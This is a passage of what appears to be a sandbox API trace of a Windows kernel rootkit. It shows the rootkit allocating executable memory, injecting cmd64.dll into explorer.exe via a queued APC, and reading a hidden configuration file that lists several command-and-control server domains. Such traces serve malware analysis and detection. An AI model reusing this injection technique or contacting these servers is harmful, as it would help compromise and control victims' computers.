(in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.223] IdePortDispatch () returned 0x103 [0088.224] KeWaitForMutexObject () returned 0x0 [0088.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.225] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.225] IdePortDispatch () returned 0x103 [0088.225] KeWaitForMutexObject () returned 0x0 [0088.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.225] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.225] IdePortDispatch () returned 0x103 [0088.225] KeWaitForMutexObject () returned 0x0 [0088.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.225] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.225] IdePortDispatch () returned 0x103 [0088.225] KeWaitForMutexObject () returned 0x0 [0088.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.225] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.225] IdePortDispatch () returned 0x103 [0088.225] KeWaitForMutexObject () returned 0x0 [0088.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.226] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.226] IdePortDispatch () returned 0x103 [0088.226] KeWaitForMutexObject () returned 0x0 [0088.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.226] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.226] IdePortDispatch () returned 0x103 [0088.226] KeWaitForMutexObject () returned 0x0 [0088.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.226] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.226] IdePortDispatch () returned 0x103 [0088.226] KeWaitForMutexObject () returned 0x0 [0088.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.226] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.227] IdePortDispatch () returned 0x103 [0088.227] KeWaitForMutexObject () returned 0x0 [0088.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.227] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.227] IdePortDispatch () returned 0x103 [0088.227] KeWaitForMutexObject () returned 0x0 [0088.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.227] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.227] IdePortDispatch () returned 0x103 [0088.227] KeWaitForMutexObject () returned 0x0 [0088.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.227] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.227] IdePortDispatch () returned 0x103 [0088.227] KeWaitForMutexObject () returned 0x0 [0088.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.228] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.228] IdePortDispatch () returned 0x103 [0088.228] KeWaitForMutexObject () returned 0x0 [0088.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.228] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.228] IdePortDispatch () returned 0x103 [0088.228] KeWaitForMutexObject () returned 0x0 [0088.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.228] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.228] IdePortDispatch () returned 0x103 [0088.228] KeWaitForMutexObject () returned 0x0 [0088.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.229] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.229] IdePortDispatch () returned 0x103 [0088.229] KeWaitForMutexObject () returned 0x0 [0088.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.229] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.229] IdePortDispatch () returned 0x103 [0088.229] KeWaitForMutexObject () returned 0x0 [0088.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.229] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.229] IdePortDispatch () returned 0x103 [0088.229] KeWaitForMutexObject () returned 0x0 [0088.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.229] KeLeaveCriticalRegion () [0088.229] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.229] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004b0, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0088.230] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0088.230] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0088.230] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004b0, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0088.230] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0088.230] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003710610 [0088.230] KeInitializeApc (Apc=0xfffffa8003710610, Thread=0xfffffa80037e3b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0088.230] KeInsertQueueApc (Apc=0xfffffa8003710610, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0088.230] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0088.230] ZwClose (Handle=0x14) returned 0x0 [0088.230] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0088.230] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.230] KeEnterCriticalRegion () [0088.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.230] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80037e3290, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0088.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.230] KeLeaveCriticalRegion () [0088.230] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.230] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0088.230] PsGetProcessImageFileName () returned 0xfffffa80037ee340 [0088.230] _snprintf (in: _Dest=0xfffffa80037e2378, _Count=0x103, _Format="%s (x64)" | out: _Dest="explorer.exe (x64)") returned 18 [0088.230] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0088.230] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0088.230] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.230] KeEnterCriticalRegion () [0088.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.230] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0088.230] IdePortDispatch () returned 0x103 [0088.231] KeWaitForMutexObject () returned 0x0 [0088.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.231] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0088.231] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0088.231] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0088.231] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800371a750 [0088.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.231] KeLeaveCriticalRegion () [0088.231] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.231] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0088.231] NtLockFile (in: FileHandle=0xffffffff800004bc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0088.231] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.231] KeEnterCriticalRegion () [0088.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.231] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0088.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.231] KeLeaveCriticalRegion () [0088.231] ZwQueryInformationFile (in: FileHandle=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0088.231] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.231] KeEnterCriticalRegion () [0088.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.231] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0088.231] IdePortDispatch () returned 0x103 [0088.231] KeWaitForMutexObject () returned 0x0 [0088.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.231] KeLeaveCriticalRegion () [0088.231] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.232] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001472010 [0088.232] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0088.232] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0088.232] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="explorer.exe (x64)=") returned 19 [0088.232] _strlwr (in: _Str="explorer.exe (x64)=" | out: _Str="explorer.exe (x64)=") returned="explorer.exe (x64)=" [0088.232] ZwReadFile (in: FileHandle=0xffffffff800004bc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001472010, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a001472010*) returned 0x0 [0088.232] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.232] KeEnterCriticalRegion () [0088.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.232] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd010 [0088.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.232] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.232] IdePortDispatch () returned 0x103 [0088.232] KeWaitForMutexObject () returned 0x0 [0088.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.232] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.232] IdePortDispatch () returned 0x103 [0088.232] KeWaitForMutexObject () returned 0x0 [0088.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.232] KeLeaveCriticalRegion () [0088.232] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.232] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0088.232] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="explorer.exe (x64)=") returned 0x0 [0088.232] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0088.232] ExFreePoolWithTag (P=0xfffff8a001472010, Tag=0x0) [0088.233] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0088.233] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.233] KeEnterCriticalRegion () [0088.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.233] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.233] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80037e2e20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0088.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.233] KeLeaveCriticalRegion () [0088.233] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.233] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.233] KeEnterCriticalRegion () [0088.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.233] ExFreePoolWithTag (P=0xfffffa800371a750, Tag=0x0) [0088.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.233] KeLeaveCriticalRegion () [0088.233] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.233] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0088.233] KeSetEvent (in: Event=0xfffffa80037e2050, Increment=0x0, Wait=0 | out: Event=0xfffffa80037e2050) returned 0 [0089.289] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\lltdio.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.312] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\rspndr.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.358] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x424, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004cc) returned 0x0 [0089.358] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0089.358] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, 